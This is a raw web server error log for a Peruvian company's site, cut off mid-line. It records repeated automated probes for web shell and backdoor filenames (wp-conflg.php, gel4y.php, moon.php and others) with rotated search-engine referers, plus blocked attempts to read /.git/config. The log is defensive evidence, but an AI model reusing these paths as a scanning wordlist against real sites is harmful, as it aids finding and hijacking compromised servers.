https://www.yahoo.com/ [Tue Dec 09 04:34:49.847413 2025] [:error] [pid 1664:tid 1750] [client 4.197.60.90:49088] File does not exist: /home/coldtecp/public_html/simple.php, referer: https://duckduckgo.com/ [Tue Dec 09 04:34:51.323950 2025] [:error] [pid 1660:tid 1714] [client 4.197.60.90:49104] File does not exist: /home/coldtecp/public_html/wp-blog.php, referer: https://www.google.fr/ [Tue Dec 09 04:34:53.435748 2025] [:error] [pid 1660:tid 1720] [client 4.197.60.90:49132] File does not exist: /home/coldtecp/public_html/wp-editor.php, referer: https://www.google.co.uk/ [Tue Dec 09 04:34:53.645869 2025] [:error] [pid 1660:tid 1710] [client 4.197.60.90:49134] File does not exist: /home/coldtecp/public_html/wp-good.php, referer: https://duckduckgo.com/ [Tue Dec 09 04:35:00.739942 2025] [:error] [pid 5497:tid 5513] [client 4.197.60.90:49234] File does not exist: /home/coldtecp/public_html/wp-themes.php, referer: https://duckduckgo.com/ [Tue Dec 09 04:35:00.956248 2025] [:error] [pid 1660:tid 1703] [client 4.197.60.90:49238] File does not exist: /home/coldtecp/public_html/wp-user.php, referer: https://www.yahoo.com/ [Tue Dec 09 04:35:01.180858 2025] [:error] [pid 1660:tid 1714] [client 4.197.60.90:49240] File does not exist: /home/coldtecp/public_html/wp.php, referer: https://www.google.fr/ [Tue Dec 09 04:35:01.391938 2025] [:error] [pid 1660:tid 1722] [client 4.197.60.90:49242] File does not exist: /home/coldtecp/public_html/x.php, referer: https://duckduckgo.com/ [Tue Dec 09 04:35:01.602627 2025] [:error] [pid 1662:tid 1677] [client 4.197.60.90:49244] File does not exist: /home/coldtecp/public_html/yas.php, referer: https://www.yahoo.com/ [Tue Dec 09 04:35:01.816537 2025] [:error] [pid 3072:tid 3080] [client 4.197.60.90:49248] File does not exist: /home/coldtecp/public_html/abcd.php, referer: https://www.bing.com/ [Tue Dec 09 04:35:02.029424 2025] [:error] [pid 1660:tid 1712] [client 4.197.60.90:49252] File does not exist: /home/coldtecp/public_html/akcc.php, referer: https://www.google.co.uk/ [Tue Dec 09 04:35:02.254396 2025] [:error] [pid 1660:tid 1702] [client 4.197.60.90:49254] File does not exist: /home/coldtecp/public_html/xmrlpc.php, referer: https://www.google.de/ [Tue Dec 09 04:35:02.473226 2025] [:error] [pid 1660:tid 1720] [client 4.197.60.90:49256] File does not exist: /home/coldtecp/public_html/xmlrpc.php, referer: https://www.bing.com/ [Tue Dec 09 04:35:02.692170 2025] [:error] [pid 3072:tid 3097] [client 4.197.60.90:49258] File does not exist: /home/coldtecp/public_html/api.php, referer: https://www.google.com/ [Tue Dec 09 04:35:03.325364 2025] [:error] [pid 1660:tid 1708] [client 4.197.60.90:49268] File does not exist: /home/coldtecp/public_html/classwithtostring.php, referer: https://www.google.fr/ [Tue Dec 09 04:35:03.536583 2025] [:error] [pid 5409:tid 5438] [client 4.197.60.90:49270] File does not exist: /home/coldtecp/public_html/cong.php, referer: https://duckduckgo.com/ [Tue Dec 09 04:35:03.747550 2025] [:error] [pid 1660:tid 1699] [client 4.197.60.90:49274] File does not exist: /home/coldtecp/public_html/edit.php, referer: https://www.google.fr/ [Tue Dec 09 04:35:03.959016 2025] [:error] [pid 1664:tid 1742] [client 4.197.60.90:49278] File does not exist: /home/coldtecp/public_html/new.php, referer: https://www.google.fr/ [Tue Dec 09 04:35:04.183022 2025] [:error] [pid 1660:tid 1703] [client 4.197.60.90:49282] File does not exist: /home/coldtecp/public_html/NewFile.php, referer: https://duckduckgo.com/ [Tue Dec 09 04:35:04.431068 2025] [:error] [pid 1660:tid 1714] [client 4.197.60.90:49284] File does not exist: /home/coldtecp/public_html/file.php, referer: https://www.yahoo.com/ [Tue Dec 09 04:35:04.641852 2025] [:error] [pid 3072:tid 3086] [client 4.197.60.90:49286] File does not exist: /home/coldtecp/public_html/gel4y.php, referer: https://www.google.de/ [Tue Dec 09 04:35:04.852723 2025] [:error] [pid 1660:tid 1718] [client 4.197.60.90:49288] File does not exist: /home/coldtecp/public_html/info.php, referer: https://www.yahoo.com/ [Tue Dec 09 04:35:05.065436 2025] [:error] [pid 5497:tid 5522] [client 4.197.60.90:49292] File does not exist: /home/coldtecp/public_html/item.php, referer: https://www.google.com/ [Tue Dec 09 04:35:05.276249 2025] [:error] [pid 1662:tid 1670] [client 4.197.60.90:49294] File does not exist: /home/coldtecp/public_html/ioxi-o.php, referer: https://duckduckgo.com/ [Tue Dec 09 04:35:05.487516 2025] [:error] [pid 5409:tid 5435] [client 4.197.60.90:49298] File does not exist: /home/coldtecp/public_html/radio.php, referer: https://www.bing.com/ [Tue Dec 09 04:35:05.698237 2025] [:error] [pid 3072:tid 3095] [client 4.197.60.90:49300] File does not exist: /home/coldtecp/public_html/themes.php, referer: https://duckduckgo.com/ [Tue Dec 09 04:35:05.912531 2025] [:error] [pid 3072:tid 3076] [client 4.197.60.90:49302] File does not exist: /home/coldtecp/public_html/bolt.php, referer: https://www.yahoo.com/ [Tue Dec 09 04:35:06.136090 2025] [:error] [pid 5497:tid 5502] [client 4.197.60.90:49308] File does not exist: /home/coldtecp/public_html/wp-conflg.php, referer: https://www.google.de/ [Tue Dec 09 04:35:06.362325 2025] [:error] [pid 1660:tid 1712] [client 4.197.60.90:49310] File does not exist: /home/coldtecp/public_html/mah.php, referer: https://www.google.com/ [Tue Dec 09 04:35:17.584913 2025] [:error] [pid 1660:tid 1711] [client 4.197.60.90:49464] File does not exist: /home/coldtecp/public_html/moon.php, referer: https://www.google.co.uk/ 2025/12/09 04:35:22 [error] 1606#1606: *743107 directory index of "/usr/local/apache/autossl_tmp/.well-known/acme-challenge/" is forbidden, client: 4.197.60.90, server: coldtecperu.com, request: "GET /.well-known/acme-challenge/ HTTP/1.1", host: "coldtecperu.com", referrer: "https://www.google.com/" [Tue Dec 09 04:46:52.408457 2025] [:error] [pid 1660:tid 1703] [client 20.78.176.226:50400] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/admin.php, referer: https://www.google.com/ [Tue Dec 09 04:46:52.942317 2025] [:error] [pid 1660:tid 1718] [client 20.78.176.226:50406] File does not exist: /home/coldtecp/public_html/autoload_classmap.php, referer: https://www.google.com/ [Tue Dec 09 04:46:53.120083 2025] [:error] [pid 1660:tid 1722] [client 20.78.176.226:50408] File does not exist: /home/coldtecp/public_html/1.php, referer: https://duckduckgo.com/ [Tue Dec 09 04:46:53.297645 2025] [:error] [pid 1660:tid 1724] [client 20.78.176.226:50410] File does not exist: /home/coldtecp/public_html/404.php, referer: https://www.google.de/ [Tue Dec 09 04:46:53.475225 2025] [:error] [pid 1660:tid 1705] [client 20.78.176.226:50412] File does not exist: /home/coldtecp/public_html/96i.php, referer: https://duckduckgo.com/ [Tue Dec 09 04:46:53.652957 2025] [:error] [pid 1660:tid 1702] [client 20.78.176.226:50414] File does not exist: /home/coldtecp/public_html/a.php, referer: https://www.google.co.uk/ [Tue Dec 09 04:46:53.830952 2025] [:error] [pid 3072:tid 3086] [client 20.78.176.226:50416] File does not exist: /home/coldtecp/public_html/abcd.php, referer: https://www.google.co.uk/ [Tue Dec 09 04:46:54.008879 2025] [:error] [pid 3072:tid 3095] [client 20.78.176.226:50418] File does not exist: /home/coldtecp/public_html/about.php, referer: https://duckduckgo.com/ [Tue Dec 09 04:46:54.364623 2025] [:error] [pid 3072:tid 3091] [client 20.78.176.226:50422] File does not exist: /home/coldtecp/public_html/admin.php, referer: https://www.google.co.uk/ [Tue Dec 09 04:46:54.899587 2025] [:error] [pid 3072:tid 3087] [client 20.78.176.226:50428] File does not exist: /home/coldtecp/public_html/ahax.php, referer: https://www.google.co.uk/ [Tue Dec 09 04:46:55.077539 2025] [:error] [pid 3072:tid 3088] [client 20.78.176.226:50430] File does not exist: /home/coldtecp/public_html/app.php, referer: https://www.google.de/ [Tue Dec 09 04:46:55.255240 2025] [:error] [pid 3072:tid 3089] [client 20.78.176.226:50432] File does not exist: /home/coldtecp/public_html/asd.php, referer: https://www.google.com/ [Tue Dec 09 04:46:55.432990 2025] [:error] [pid 3072:tid 3075] [client 20.78.176.226:50434] File does not exist: /home/coldtecp/public_html/atomlib.php, referer: https://duckduckgo.com/ [Tue Dec 09 04:46:55.788873 2025] [:error] [pid 3072:tid 3097] [client 20.78.176.226:50438] File does not exist: /home/coldtecp/public_html/bless.php, referer: https://www.bing.com/ [Tue Dec 09 04:46:55.966225 2025] [:error] [pid 3072:tid 3085] [client 20.78.176.226:50440] File does not exist: /home/coldtecp/public_html/bolt.php, referer: https://www.google.de/ [Tue Dec 09 04:46:56.143750 2025] [:error] [pid 1660:tid 1720] [client 20.78.176.226:50442] File does not exist: /home/coldtecp/public_html/buy.php, referer: https://www.google.co.uk/ [Tue Dec 09 04:46:56.499328 2025] [:error] [pid 1660:tid 1717] [client 20.78.176.226:50446] File does not exist: /home/coldtecp/public_html/classwithtostring.php, referer: https://www.google.com/ [Tue Dec 09 04:46:56.677283 2025] [:error] [pid 1660:tid 1708] [client 20.78.176.226:50448] File does not exist: /home/coldtecp/public_html/click.php, referer: https://www.google.com/ [Tue Dec 09 04:46:56.855096 2025] [:error] [pid 1662:tid 1681] [client 20.78.176.226:50450] File does not exist: /home/coldtecp/public_html/config.php, referer: https://www.google.de/ [Tue Dec 09 04:46:57.034385 2025] [:error] [pid 1660:tid 1716] [client 20.78.176.226:50452] File does not exist: /home/coldtecp/public_html/cong.php, referer: https://www.yahoo.com/ [Tue Dec 09 04:46:57.212540 2025] [:error] [pid 1660:tid 1703] [client 20.78.176.226:50454] File does not exist: /home/coldtecp/public_html/content.php, referer: https://www.google.de/ [Tue Dec 09 04:46:57.390284 2025] [:error] [pid 1660:tid 1700] [client 20.78.176.226:50456] File does not exist: /home/coldtecp/public_html/cord.php, referer: https://duckduckgo.com/ [Tue Dec 09 04:46:57.568319 2025] [:error] [pid 5409:tid 5439] [client 20.78.176.226:50458] File does not exist: /home/coldtecp/public_html/core.php, referer: https://www.yahoo.com/ [Tue Dec 09 04:46:57.752195 2025] [:error] [pid 1662:tid 1687] [client 20.78.176.226:50460] File does not exist: /home/coldtecp/public_html/css.php, referer: https://www.google.co.uk/ [Tue Dec 09 04:46:57.929775 2025] [:error] [pid 5497:tid 5520] [client 20.78.176.226:50462] File does not exist: /home/coldtecp/public_html/defaults.php, referer: https://www.google.de/ [Tue Dec 09 04:46:58.108217 2025] [:error] [pid 1660:tid 1714] [client 20.78.176.226:50466] File does not exist: /home/coldtecp/public_html/dropdown.php, referer: https://www.google.com/ [Tue Dec 09 04:46:58.285805 2025] [:error] [pid 1660:tid 1718] [client 20.78.176.226:50470] File does not exist: /home/coldtecp/public_html/ee.php, referer: https://www.google.fr/ [Tue Dec 09 04:46:58.463690 2025] [:error] [pid 1664:tid 1748] [client 20.78.176.226:50472] File does not exist: /home/coldtecp/public_html/file.php, referer: https://www.yahoo.com/ [Tue Dec 09 04:46:58.641743 2025] [:error] [pid 5409:tid 5426] [client 20.78.176.226:50474] File does not exist: /home/coldtecp/public_html/fm.php, referer: https://www.yahoo.com/ [Tue Dec 09 04:46:58.997097 2025] [:error] [pid 1660:tid 1722] [client 20.78.176.226:50478] File does not exist: /home/coldtecp/public_html/help.php, referer: https://duckduckgo.com/ [Tue Dec 09 04:46:59.174523 2025] [:error] [pid 5497:tid 5502] [client 20.78.176.226:50480] File does not exist: /home/coldtecp/public_html/hplfuns.php, referer: https://www.google.co.uk/ [Tue Dec 09 04:47:00.242769 2025] [:error] [pid 1660:tid 1699] [client 20.78.176.226:50492] File does not exist: /home/coldtecp/public_html/inputs.php, referer: https://www.google.co.uk/ [Tue Dec 09 04:47:00.420341 2025] [:error] [pid 1660:tid 1723] [client 20.78.176.226:50494] File does not exist: /home/coldtecp/public_html/ioxi-o.php, referer: https://www.bing.com/ [Tue Dec 09 04:47:00.776128 2025] [:error] [pid 3072:tid 3095] [client 20.78.176.226:50498] File does not exist: /home/coldtecp/public_html/k.php, referer: https://www.google.fr/ [Tue Dec 09 04:47:00.953888 2025] [:error] [pid 1660:tid 1721] [client 20.78.176.226:50500] File does not exist: /home/coldtecp/public_html/log.php, referer: https://duckduckgo.com/ [Tue Dec 09 04:47:01.131841 2025] [:error] [pid 3072:tid 3076] [client 20.78.176.226:50502] File does not exist: /home/coldtecp/public_html/lv.php, referer: https://www.google.de/ [Tue Dec 09 04:47:01.309707 2025] [:error] [pid 3072:tid 3091] [client 20.78.176.226:50504] File does not exist: /home/coldtecp/public_html/m.php, referer: https://www.yahoo.com/ [Tue Dec 09 04:47:01.487777 2025] [:error] [pid 3072:tid 3098] [client 20.78.176.226:50506] File does not exist: /home/coldtecp/public_html/mah.php, referer: https://www.bing.com/ [Tue Dec 09 04:47:01.665923 2025] [:error] [pid 3072:tid 3079] [client 20.78.176.226:50508] File does not exist: /home/coldtecp/public_html/network_xo.php, referer: https://www.google.fr/ [Tue Dec 09 04:47:01.844418 2025] [:error] [pid 3072:tid 3093] [client 20.78.176.226:50510] File does not exist: /home/coldtecp/public_html/new.php, referer: https://www.google.fr/ [Tue Dec 09 04:47:02.022607 2025] [:error] [pid 3072:tid 3092] [client 20.78.176.226:50512] File does not exist: /home/coldtecp/public_html/nxc.php, referer: https://www.google.co.uk/ [Tue Dec 09 04:47:02.200828 2025] [:error] [pid 3072:tid 3096] [client 20.78.176.226:50514] File does not exist: /home/coldtecp/public_html/packed.php, referer: https://www.yahoo.com/ [Tue Dec 09 04:47:02.378701 2025] [:error] [pid 1660:tid 1707] [client 20.78.176.226:50516] File does not exist: /home/coldtecp/public_html/radio.php, referer: https://www.google.de/ [Tue Dec 09 04:47:02.556139 2025] [:error] [pid 1662:tid 1680] [client 20.78.176.226:50518] File does not exist: /home/coldtecp/public_html/rss.php, referer: https://www.google.com/ [Tue Dec 09 04:47:02.734118 2025] [:error] [pid 1662:tid 1692] [client 20.78.176.226:50520] File does not exist: /home/coldtecp/public_html/simple.php, referer: https://www.google.com/ [Tue Dec 09 04:47:02.911880 2025] [:error] [pid 1662:tid 1686] [client 20.78.176.226:50522] File does not exist: /home/coldtecp/public_html/system_log.php, referer: https://www.google.com/ [Tue Dec 09 04:47:03.089453 2025] [:error] [pid 1662:tid 1672] [client 20.78.176.226:50524] File does not exist: /home/coldtecp/public_html/themes.php, referer: https://www.google.fr/ [Tue Dec 09 04:47:03.444909 2025] [:error] [pid 1662:tid 1689] [client 20.78.176.226:50528] File does not exist: /home/coldtecp/public_html/we.php, referer: https://www.google.de/ [Tue Dec 09 04:47:03.623062 2025] [:error] [pid 1662:tid 1685] [client 20.78.176.226:50530] File does not exist: /home/coldtecp/public_html/worksec.php, referer: https://www.yahoo.com/ [Tue Dec 09 06:21:02.761291 2025] [:error] [pid 5409:tid 5440] [client 4.194.144.102:56770] File does not exist: /home/coldtecp/public_html/moon.php, referer: https://www.google.fr/ 2025/12/09 06:21:07 [error] 1607#1607: *747071 directory index of "/usr/local/apache/autossl_tmp/.well-known/acme-challenge/" is forbidden, client: 4.194.144.102, server: coldtecperu.com, request: "GET /.well-known/acme-challenge/ HTTP/1.1", host: "coldtecperu.com", referrer: "https://www.google.fr/" [Tue Dec 09 09:27:07.696629 2025] [:error] [pid 3072:tid 3083] [client 20.78.176.226:45526] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/admin.php, referer: https://www.google.co.uk/ [Tue Dec 09 09:27:08.231064 2025] [:error] [pid 3072:tid 3078] [client 20.78.176.226:45532] File does not exist: /home/coldtecp/public_html/autoload_classmap.php, referer: https://duckduckgo.com/ [Tue Dec 09 09:27:08.409479 2025] [:error] [pid 1664:tid 1748] [client 20.78.176.226:45534] File does not exist: /home/coldtecp/public_html/1.php, referer: https://www.google.com/ [Tue Dec 09 09:27:08.587317 2025] [:error] [pid 5497:tid 5521] [client 20.78.176.226:45536] File does not exist: /home/coldtecp/public_html/404.php, referer: https://www.google.fr/ [Tue Dec 09 09:27:08.765142 2025] [:error] [pid 5497:tid 5507] [client 20.78.176.226:45538] File does not exist: /home/coldtecp/public_html/96i.php, referer: https://www.google.de/ [Tue Dec 09 09:27:08.943113 2025] [:error] [pid 5497:tid 5511] [client 20.78.176.226:45540] File does not exist: /home/coldtecp/public_html/a.php, referer: https://www.yahoo.com/ [Tue Dec 09 09:27:09.121051 2025] [:error] [pid 5497:tid 5514] [client 20.78.176.226:45542] File does not exist: /home/coldtecp/public_html/abcd.php, referer: https://www.bing.com/ [Tue Dec 09 09:27:09.311738 2025] [:error] [pid 5497:tid 5515] [client 20.78.176.226:45544] File does not exist: /home/coldtecp/public_html/about.php, referer: https://www.google.fr/ [Tue Dec 09 09:27:09.667715 2025] [:error] [pid 5497:tid 5523] [client 20.78.176.226:45552] File does not exist: /home/coldtecp/public_html/admin.php, referer: https://www.google.com/ [Tue Dec 09 09:27:10.201217 2025] [:error] [pid 5409:tid 5440] [client 20.78.176.226:45558] File does not exist: /home/coldtecp/public_html/ahax.php, referer: https://www.google.fr/ [Tue Dec 09 09:27:10.407131 2025] [:error] [pid 1660:tid 1715] [client 20.78.176.226:45560] File does not exist: /home/coldtecp/public_html/app.php, referer: https://www.google.com/ [Tue Dec 09 09:27:10.585051 2025] [:error] [pid 1662:tid 1691] [client 20.78.176.226:45562] File does not exist: /home/coldtecp/public_html/asd.php, referer: https://www.yahoo.com/ [Tue Dec 09 09:27:10.763000 2025] [:error] [pid 1662:tid 1688] [client 20.78.176.226:45564] File does not exist: /home/coldtecp/public_html/atomlib.php, referer: https://www.google.co.uk/ [Tue Dec 09 09:27:11.118153 2025] [:error] [pid 1662:tid 1674] [client 20.78.176.226:45568] File does not exist: /home/coldtecp/public_html/bless.php, referer: https://www.google.co.uk/ [Tue Dec 09 09:27:11.295961 2025] [:error] [pid 1660:tid 1700] [client 20.78.176.226:45570] File does not exist: /home/coldtecp/public_html/bolt.php, referer: https://duckduckgo.com/ [Tue Dec 09 09:27:11.474024 2025] [:error] [pid 1660:tid 1707] [client 20.78.176.226:45572] File does not exist: /home/coldtecp/public_html/buy.php, referer: https://www.google.de/ [Tue Dec 09 09:27:11.830003 2025] [:error] [pid 1662:tid 1678] [client 20.78.176.226:45578] File does not exist: /home/coldtecp/public_html/classwithtostring.php, referer: https://www.google.fr/ [Tue Dec 09 09:27:12.007931 2025] [:error] [pid 5497:tid 5504] [client 20.78.176.226:45580] File does not exist: /home/coldtecp/public_html/click.php, referer: https://www.google.co.uk/ [Tue Dec 09 09:27:12.185876 2025] [:error] [pid 5497:tid 5506] [client 20.78.176.226:45582] File does not exist: /home/coldtecp/public_html/config.php, referer: https://www.bing.com/ [Tue Dec 09 09:27:12.363511 2025] [:error] [pid 5409:tid 5432] [client 20.78.176.226:45584] File does not exist: /home/coldtecp/public_html/cong.php, referer: https://www.google.co.uk/ [Tue Dec 09 09:27:12.541847 2025] [:error] [pid 1664:tid 1735] [client 20.78.176.226:45586] File does not exist: /home/coldtecp/public_html/content.php, referer: https://www.google.co.uk/ [Tue Dec 09 09:27:12.739755 2025] [:error] [pid 1660:tid 1713] [client 20.78.176.226:45590] File does not exist: /home/coldtecp/public_html/cord.php, referer: https://www.google.de/ [Tue Dec 09 09:27:12.917421 2025] [:error] [pid 5497:tid 5501] [client 20.78.176.226:45592] File does not exist: /home/coldtecp/public_html/core.php, referer: https://www.google.com/ [Tue Dec 09 09:27:13.095422 2025] [:error] [pid 5497:tid 5505] [client 20.78.176.226:45594] File does not exist: /home/coldtecp/public_html/css.php, referer: https://www.bing.com/ [Tue Dec 09 09:27:13.273359 2025] [:error] [pid 5497:tid 5510] [client 20.78.176.226:45596] File does not exist: /home/coldtecp/public_html/defaults.php, referer: https://www.google.com/ [Tue Dec 09 09:27:13.451575 2025] [:error] [pid 1660:tid 1718] [client 20.78.176.226:45598] File does not exist: /home/coldtecp/public_html/dropdown.php, referer: https://www.google.co.uk/ [Tue Dec 09 09:27:13.640179 2025] [:error] [pid 1660:tid 1701] [client 20.78.176.226:45600] File does not exist: /home/coldtecp/public_html/ee.php, referer: https://www.google.co.uk/ [Tue Dec 09 09:27:13.817995 2025] [:error] [pid 5409:tid 5426] [client 20.78.176.226:45602] File does not exist: /home/coldtecp/public_html/file.php, referer: https://duckduckgo.com/ [Tue Dec 09 09:27:13.995954 2025] [:error] [pid 5409:tid 5428] [client 20.78.176.226:45604] File does not exist: /home/coldtecp/public_html/fm.php, referer: https://www.google.de/ [Tue Dec 09 09:27:14.351994 2025] [:error] [pid 5409:tid 5438] [client 20.78.176.226:45608] File does not exist: /home/coldtecp/public_html/help.php, referer: https://www.google.fr/ [Tue Dec 09 09:27:14.530113 2025] [:error] [pid 1660:tid 1709] [client 20.78.176.226:45610] File does not exist: /home/coldtecp/public_html/hplfuns.php, referer: https://www.google.co.uk/ [Tue Dec 09 09:27:15.598455 2025] [:error] [pid 3072:tid 3091] [client 20.78.176.226:45622] File does not exist: /home/coldtecp/public_html/inputs.php, referer: https://www.bing.com/ [Tue Dec 09 09:27:15.776501 2025] [:error] [pid 1662:tid 1684] [client 20.78.176.226:45624] File does not exist: /home/coldtecp/public_html/ioxi-o.php, referer: https://www.bing.com/ [Tue Dec 09 09:27:16.132910 2025] [:error] [pid 1662:tid 1675] [client 20.78.176.226:45628] File does not exist: /home/coldtecp/public_html/k.php, referer: https://www.google.com/ [Tue Dec 09 09:27:16.312262 2025] [:error] [pid 1662:tid 1686] [client 20.78.176.226:45630] File does not exist: /home/coldtecp/public_html/log.php, referer: https://duckduckgo.com/ [Tue Dec 09 09:27:16.490555 2025] [:error] [pid 1662:tid 1677] [client 20.78.176.226:45632] File does not exist: /home/coldtecp/public_html/lv.php, referer: https://www.yahoo.com/ [Tue Dec 09 09:27:16.668717 2025] [:error] [pid 1662:tid 1692] [client 20.78.176.226:45634] File does not exist: /home/coldtecp/public_html/m.php, referer: https://www.yahoo.com/ [Tue Dec 09 09:27:16.846693 2025] [:error] [pid 1662:tid 1685] [client 20.78.176.226:45638] File does not exist: /home/coldtecp/public_html/mah.php, referer: https://www.google.de/ [Tue Dec 09 09:27:17.024438 2025] [:error] [pid 1662:tid 1669] [client 20.78.176.226:45640] File does not exist: /home/coldtecp/public_html/network_xo.php, referer: https://duckduckgo.com/ [Tue Dec 09 09:27:17.202161 2025] [:error] [pid 1662:tid 1687] [client 20.78.176.226:45642] File does not exist: /home/coldtecp/public_html/new.php, referer: https://www.google.de/ [Tue Dec 09 09:27:17.379909 2025] [:error] [pid 1662:tid 1670] [client 20.78.176.226:45644] File does not exist: /home/coldtecp/public_html/nxc.php, referer: https://duckduckgo.com/ [Tue Dec 09 09:27:17.560412 2025] [:error] [pid 1662:tid 1681] [client 20.78.176.226:45646] File does not exist: /home/coldtecp/public_html/packed.php, referer: https://www.google.de/ [Tue Dec 09 09:27:17.738716 2025] [:error] [pid 1662:tid 1693] [client 20.78.176.226:45648] File does not exist: /home/coldtecp/public_html/radio.php, referer: https://www.google.com/ [Tue Dec 09 09:27:17.916921 2025] [:error] [pid 1662:tid 1682] [client 20.78.176.226:45650] File does not exist: /home/coldtecp/public_html/rss.php, referer: https://www.google.de/ [Tue Dec 09 09:27:18.095159 2025] [:error] [pid 1664:tid 1731] [client 20.78.176.226:45652] File does not exist: /home/coldtecp/public_html/simple.php, referer: https://www.bing.com/ [Tue Dec 09 09:27:18.273373 2025] [:error] [pid 5409:tid 5424] [client 20.78.176.226:45654] File does not exist: /home/coldtecp/public_html/system_log.php, referer: https://www.google.com/ [Tue Dec 09 09:27:18.451813 2025] [:error] [pid 3072:tid 3092] [client 20.78.176.226:45656] File does not exist: /home/coldtecp/public_html/themes.php, referer: https://www.google.com/ [Tue Dec 09 09:27:18.808012 2025] [:error] [pid 1660:tid 1710] [client 20.78.176.226:45660] File does not exist: /home/coldtecp/public_html/we.php, referer: https://www.google.de/ [Tue Dec 09 09:27:18.986056 2025] [:error] [pid 1660:tid 1720] [client 20.78.176.226:45662] File does not exist: /home/coldtecp/public_html/worksec.php, referer: https://www.google.de/ 2025/12/09 09:30:17 [error] 1606#1606: *755819 access forbidden by rule, client: 185.177.72.75, server: webmail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "webmail.coldtecperu.com" [Tue Dec 09 10:35:52.850728 2025] [:error] [pid 5409:tid 5430] [client 34.60.165.148:50736] File does not exist: /home/coldtecp/public_html/xmlrpc.php 2025/12/09 11:09:48 [error] 1606#1606: *759445 access forbidden by rule, client: 185.177.72.75, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "www.coldtecperu.com" [Tue Dec 09 11:22:12.431541 2025] [:error] [pid 1660:tid 1703] [client 4.196.105.180:54048] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/admin.php, referer: https://www.google.de/ [Tue Dec 09 11:22:13.062714 2025] [:error] [pid 1664:tid 1750] [client 4.196.105.180:54054] File does not exist: /home/coldtecp/public_html/autoload_classmap.php, referer: https://duckduckgo.com/ [Tue Dec 09 11:22:13.273203 2025] [:error] [pid 1664:tid 1745] [client 4.196.105.180:54056] File does not exist: /home/coldtecp/public_html/1.php, referer: https://www.google.de/ [Tue Dec 09 11:22:13.483591 2025] [:error] [pid 1660:tid 1724] [client 4.196.105.180:54058] File does not exist: /home/coldtecp/public_html/404.php, referer: https://www.google.de/ [Tue Dec 09 11:22:13.695621 2025] [:error] [pid 1662:tid 1681] [client 4.196.105.180:54060] File does not exist: /home/coldtecp/public_html/96i.php, referer: https://www.google.com/ [Tue Dec 09 11:22:13.906101 2025] [:error] [pid 1662:tid 1678] [client 4.196.105.180:54062] File does not exist: /home/coldtecp/public_html/a.php, referer: https://www.google.com/ [Tue Dec 09 11:22:14.116520 2025] [:error] [pid 1662:tid 1693] [client 4.196.105.180:54064] File does not exist: /home/coldtecp/public_html/abcd.php, referer: https://www.bing.com/ [Tue Dec 09 11:22:14.326841 2025] [:error] [pid 1662:tid 1679] [client 4.196.105.180:54066] File does not exist: /home/coldtecp/public_html/about.php, referer: https://www.yahoo.com/ [Tue Dec 09 11:22:14.747891 2025] [:error] [pid 3072:tid 3087] [client 4.196.105.180:54070] File does not exist: /home/coldtecp/public_html/admin.php, referer: https://www.bing.com/ [Tue Dec 09 11:22:15.380341 2025] [:error] [pid 1662:tid 1675] [client 4.196.105.180:54080] File does not exist: /home/coldtecp/public_html/ahax.php, referer: https://duckduckgo.com/ [Tue Dec 09 11:22:15.590960 2025] [:error] [pid 3072:tid 3098] [client 4.196.105.180:54082] File does not exist: /home/coldtecp/public_html/app.php, referer: https://www.google.de/ [Tue Dec 09 11:22:15.801476 2025] [:error] [pid 5497:tid 5499] [client 4.196.105.180:54084] File does not exist: /home/coldtecp/public_html/asd.php, referer: https://www.bing.com/ [Tue Dec 09 11:22:16.011973 2025] [:error] [pid 5497:tid 5501] [client 4.196.105.180:54086] File does not exist: /home/coldtecp/public_html/atomlib.php, referer: https://www.google.fr/ [Tue Dec 09 11:22:16.433002 2025] [:error] [pid 3072:tid 3074] [client 4.196.105.180:54090] File does not exist: /home/coldtecp/public_html/bless.php, referer: https://www.google.co.uk/ [Tue Dec 09 11:22:16.643402 2025] [:error] [pid 5497:tid 5500] [client 4.196.105.180:54092] File does not exist: /home/coldtecp/public_html/bolt.php, referer: https://www.google.com/ [Tue Dec 09 11:22:16.854054 2025] [:error] [pid 1660:tid 1720] [client 4.196.105.180:54094] File does not exist: /home/coldtecp/public_html/buy.php, referer: https://www.yahoo.com/ [Tue Dec 09 11:22:17.275221 2025] [:error] [pid 3072:tid 3080] [client 4.196.105.180:54098] File does not exist: /home/coldtecp/public_html/classwithtostring.php, referer: https://www.google.fr/ [Tue Dec 09 11:22:17.485611 2025] [:error] [pid 3072:tid 3094] [client 4.196.105.180:54100] File does not exist: /home/coldtecp/public_html/click.php, referer: https://www.google.com/ [Tue Dec 09 11:22:17.695781 2025] [:error] [pid 3072:tid 3083] [client 4.196.105.180:54102] File does not exist: /home/coldtecp/public_html/config.php, referer: https://www.google.co.uk/ [Tue Dec 09 11:22:17.906232 2025] [:error] [pid 3072:tid 3078] [client 4.196.105.180:54104] File does not exist: /home/coldtecp/public_html/cong.php, referer: https://www.google.de/ [Tue Dec 09 11:22:18.116500 2025] [:error] [pid 1660:tid 1708] [client 4.196.105.180:54106] File does not exist: /home/coldtecp/public_html/content.php, referer: https://www.google.com/ [Tue Dec 09 11:22:18.345463 2025] [:error] [pid 1660:tid 1706] [client 4.196.105.180:54108] File does not exist: /home/coldtecp/public_html/cord.php, referer: https://www.google.fr/ [Tue Dec 09 11:22:18.555919 2025] [:error] [pid 1660:tid 1716] [client 4.196.105.180:54110] File does not exist: /home/coldtecp/public_html/core.php, referer: https://www.google.com/ [Tue Dec 09 11:22:18.766294 2025] [:error] [pid 5409:tid 5435] [client 4.196.105.180:54112] File does not exist: /home/coldtecp/public_html/css.php, referer: https://www.google.de/ [Tue Dec 09 11:22:18.976416 2025] [:error] [pid 1664:tid 1748] [client 4.196.105.180:54114] File does not exist: /home/coldtecp/public_html/defaults.php, referer: https://www.google.com/ [Tue Dec 09 11:22:19.186978 2025] [:error] [pid 1664:tid 1733] [client 4.196.105.180:54116] File does not exist: /home/coldtecp/public_html/dropdown.php, referer: https://www.google.fr/ [Tue Dec 09 11:22:19.397412 2025] [:error] [pid 1664:tid 1731] [client 4.196.105.180:54118] File does not exist: /home/coldtecp/public_html/ee.php, referer: https://www.yahoo.com/ [Tue Dec 09 11:22:19.619789 2025] [:error] [pid 5497:tid 5514] [client 4.196.105.180:54120] File does not exist: /home/coldtecp/public_html/file.php, referer: https://www.bing.com/ [Tue Dec 09 11:22:19.830231 2025] [:error] [pid 5497:tid 5508] [client 4.196.105.180:54122] File does not exist: /home/coldtecp/public_html/fm.php, referer: https://www.bing.com/ [Tue Dec 09 11:22:20.250570 